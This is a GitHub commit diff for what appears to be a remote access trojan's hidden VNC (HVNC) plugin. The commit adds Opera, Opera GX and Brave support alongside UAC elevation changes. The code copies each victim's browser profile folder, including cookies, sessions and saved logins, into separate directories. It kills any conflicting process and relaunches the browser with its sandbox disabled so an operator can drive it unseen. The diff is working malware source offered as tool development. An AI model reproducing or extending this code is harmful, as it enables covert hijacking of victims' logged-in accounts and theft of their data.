Skip to content

Commit 3438a2c

Browse files
author
moom825
committed
added a couple more options relating to the uac (request for admin, de-escelate to user). improved stability. now it sends major errors to the server for faster fixing. added opera, operaGX and brave to the hvnc. improved varoius other things
1 parent 0731e6e commit 3438a2c

15 files changed

+878
-124
lines changed

Plugins/Hvnc/Hvnc.cs

+117
Original file line numberDiff line numberDiff line change
@@ -25,9 +25,15 @@ public class Main
2525
bool cloning_chrome = false;
2626
bool cloning_firefox = false;
2727
bool cloning_edge = false;
28+
bool cloning_opera = false;
29+
bool cloning_operagx = false;
30+
bool cloning_brave = false;
2831
bool has_clonned_chrome = false;
2932
bool has_clonned_firefox=false;
3033
bool has_clonned_edge = false;
34+
bool has_clonned_opera = false;
35+
bool has_clonned_operagx = false;
36+
bool has_clonned_brave = false;
3137
Imaging_handler ImageHandler;
3238
input_handler InputHandler;
3339
Process_Handler ProcessHandler;
@@ -136,6 +142,45 @@ public async Task Run(Node node)
136142
ProcessHandler.StartEdge();
137143
}
138144
}
145+
else if (data[0] == 11)
146+
{ //start edge
147+
if (do_browser_clone && !has_clonned_opera)
148+
{
149+
has_clonned_opera = true;
150+
HandleCloneOpera();
151+
152+
}
153+
else
154+
{
155+
ProcessHandler.StartOpera();
156+
}
157+
}
158+
else if (data[0] == 12)
159+
{ //start edge
160+
if (do_browser_clone && !has_clonned_operagx)
161+
{
162+
has_clonned_operagx = true;
163+
HandleCloneOperaGX();
164+
165+
}
166+
else
167+
{
168+
ProcessHandler.StartOperaGX();
169+
}
170+
}
171+
else if (data[0] == 13)
172+
{ //start edge
173+
if (do_browser_clone && !has_clonned_brave)
174+
{
175+
has_clonned_brave = true;
176+
HandleCloneBrave();
177+
178+
}
179+
else
180+
{
181+
ProcessHandler.StartBrave();
182+
}
183+
}
139184
}
140185
}
141186
catch
@@ -194,6 +239,78 @@ private async Task HandleCloneChrome()
194239
cloning_chrome = false;
195240
}
196241
}
242+
private async Task HandleCloneOpera()
243+
{
244+
if (!cloning_opera)
245+
{
246+
cloning_opera = true;
247+
if (!await ProcessHandler.CloneOpera())
248+
{
249+
int pid = await GetProcessViaCommandLine("opera.exe", "OperaAutomationData");
250+
if (pid != -1)
251+
{
252+
Process p = Process.GetProcessById(pid);
253+
try
254+
{
255+
p.Kill();
256+
await ProcessHandler.CloneOpera();
257+
}
258+
catch { }
259+
p.Dispose();
260+
}
261+
}
262+
ProcessHandler.StartOpera();
263+
cloning_opera = false;
264+
}
265+
}
266+
private async Task HandleCloneOperaGX()
267+
{
268+
if (!cloning_operagx)
269+
{
270+
cloning_operagx = true;
271+
if (!await ProcessHandler.CloneOperaGX())
272+
{
273+
int pid = await GetProcessViaCommandLine("opera.exe", "OperaGXAutomationData");
274+
if (pid != -1)
275+
{
276+
Process p = Process.GetProcessById(pid);
277+
try
278+
{
279+
p.Kill();
280+
await ProcessHandler.CloneOperaGX();
281+
}
282+
catch { }
283+
p.Dispose();
284+
}
285+
}
286+
ProcessHandler.StartOperaGX();
287+
cloning_operagx = false;
288+
}
289+
}
290+
private async Task HandleCloneBrave()
291+
{
292+
if (!cloning_brave)
293+
{
294+
cloning_brave = true;
295+
if (!await ProcessHandler.CloneBrave())
296+
{
297+
int pid = await GetProcessViaCommandLine("brave.exe", "BraveAutomationData");
298+
if (pid != -1)
299+
{
300+
Process p = Process.GetProcessById(pid);
301+
try
302+
{
303+
p.Kill();
304+
await ProcessHandler.CloneBrave();
305+
}
306+
catch { }
307+
p.Dispose();
308+
}
309+
}
310+
ProcessHandler.StartBrave();
311+
cloning_brave = false;
312+
}
313+
}
197314
private async Task HandleCloneFirefox()
198315
{
199316
if (!cloning_firefox)

Plugins/Hvnc/Process Handler.cs

+173
Original file line numberDiff line numberDiff line change
@@ -90,6 +90,77 @@ public bool StartExplorer()
9090
return CreateProc(@"C:\Windows\explorer.exe");
9191
}
9292

93+
public string GetOperaPath()
94+
{
95+
const string basePath = @"SOFTWARE\Clients\StartMenuInternet";
96+
using (var clientsKey = Registry.CurrentUser.OpenSubKey(basePath))
97+
{
98+
if (clientsKey != null)
99+
{
100+
foreach (var subKeyName in clientsKey.GetSubKeyNames())
101+
{
102+
if (subKeyName.Contains("Opera") && !subKeyName.Contains("GX"))
103+
{
104+
using (var operaKey = clientsKey.OpenSubKey($"{subKeyName}\\shell\\open\\command"))
105+
{
106+
if (operaKey != null)
107+
{
108+
object operaPathObj = operaKey.GetValue("");
109+
if (operaPathObj != null)
110+
{
111+
return operaPathObj.ToString().Trim('"');
112+
}
113+
}
114+
}
115+
}
116+
}
117+
}
118+
}
119+
return null;
120+
}
121+
122+
public string GetBravePath()
123+
{
124+
var path = Registry.GetValue(@"HKEY_CLASSES_ROOT\BraveHTML\shell\open\command", null, null) as string;
125+
if (path != null)
126+
{
127+
var split = path.Split('\"');
128+
path = split.Length >= 2 ? split[1] : null;
129+
}
130+
return path;
131+
}
132+
133+
134+
public string GetOperaGXPath()
135+
{
136+
const string basePath = @"SOFTWARE\Clients\StartMenuInternet";
137+
using (var clientsKey = Registry.CurrentUser.OpenSubKey(basePath))
138+
{
139+
if (clientsKey != null)
140+
{
141+
foreach (var subKeyName in clientsKey.GetSubKeyNames())
142+
{
143+
if (subKeyName.Contains("Opera") && subKeyName.Contains("GX"))
144+
{
145+
using (var operaGXKey = clientsKey.OpenSubKey($"{subKeyName}\\shell\\open\\command"))
146+
{
147+
if (operaGXKey != null)
148+
{
149+
object operaGXPathObj = operaGXKey.GetValue("");
150+
if (operaGXPathObj != null)
151+
{
152+
return operaGXPathObj.ToString().Trim('"');
153+
}
154+
}
155+
}
156+
}
157+
}
158+
}
159+
}
160+
return null;
161+
}
162+
163+
93164
public string getChromePath()
94165
{
95166

@@ -164,6 +235,39 @@ public bool StartChrome()
164235
return CreateProc("\"" + path + "\"" + " --no-sandbox --allow-no-sandbox-job --disable-gpu --user-data-dir="+dataDir);
165236
}
166237

238+
public bool StartOpera()
239+
{
240+
string dataDir = @"C:\OperaAutomationData";
241+
string path = GetOperaPath();
242+
if (path == null || !File.Exists(path))
243+
{
244+
return false;
245+
}
246+
return CreateProc("\"" + path + "\"" + " --no-sandbox --allow-no-sandbox-job --disable-gpu --user-data-dir=" + dataDir);
247+
}
248+
249+
public bool StartOperaGX()
250+
{
251+
string dataDir = @"C:\OperaGXAutomationData";
252+
string path = GetOperaGXPath();
253+
if (path == null || !File.Exists(path))
254+
{
255+
return false;
256+
}
257+
return CreateProc("\"" + path + "\"" + " --no-sandbox --allow-no-sandbox-job --disable-gpu --user-data-dir=" + dataDir);
258+
}
259+
260+
public bool StartBrave()
261+
{
262+
string dataDir = @"C:\BraveAutomationData";
263+
string path = GetBravePath();
264+
if (path == null || !File.Exists(path))
265+
{
266+
return false;
267+
}
268+
return CreateProc("\"" + path + "\"" + " --no-sandbox --allow-no-sandbox-job --disable-gpu --user-data-dir=" + dataDir);
269+
}
270+
167271
public bool StartEdge()
168272
{
169273
string dataDir = @"C:\EdgeAutomationData";
@@ -209,6 +313,75 @@ public async Task<bool> CloneChrome()
209313
return false;
210314
}
211315

316+
public async Task<bool> CloneOperaGX()
317+
{
318+
try
319+
{
320+
string dataDir = @"C:\OperaGXAutomationData";
321+
string source = $@"C:\Users\{Environment.UserName}\AppData\Roaming\Opera Software\Opera GX Stable";
322+
if (Directory.Exists(dataDir))
323+
{
324+
await Task.Run(() => Directory.Delete(dataDir, true));
325+
Directory.CreateDirectory(dataDir);
326+
}
327+
else
328+
{
329+
Directory.CreateDirectory(dataDir);
330+
}
331+
await CopyDirAsync(source, dataDir);
332+
return true;
333+
334+
}
335+
catch { }
336+
return false;
337+
}
338+
339+
public async Task<bool> CloneOpera()
340+
{
341+
try
342+
{
343+
string dataDir = @"C:\OperaAutomationData";
344+
string source = $@"C:\Users\{Environment.UserName}\AppData\Roaming\Opera Software\Opera Stable";
345+
if (Directory.Exists(dataDir))
346+
{
347+
await Task.Run(() => Directory.Delete(dataDir, true));
348+
Directory.CreateDirectory(dataDir);
349+
}
350+
else
351+
{
352+
Directory.CreateDirectory(dataDir);
353+
}
354+
await CopyDirAsync(source, dataDir);
355+
return true;
356+
357+
}
358+
catch { }
359+
return false;
360+
}
361+
362+
public async Task<bool> CloneBrave()
363+
{
364+
try
365+
{
366+
string dataDir = @"C:\BraveAutomationData";
367+
string source = $@"C:\Users\{Environment.UserName}\AppData\Local\BraveSoftware\Brave-Browser\User Data";
368+
if (Directory.Exists(dataDir))
369+
{
370+
await Task.Run(() => Directory.Delete(dataDir, true));
371+
Directory.CreateDirectory(dataDir);
372+
}
373+
else
374+
{
375+
Directory.CreateDirectory(dataDir);
376+
}
377+
await CopyDirAsync(source, dataDir);
378+
return true;
379+
380+
}
381+
catch { }
382+
return false;
383+
}
384+
212385
public async Task<bool> CloneFirefox()
213386
{
214387
try

0 commit comments

Comments
 (0)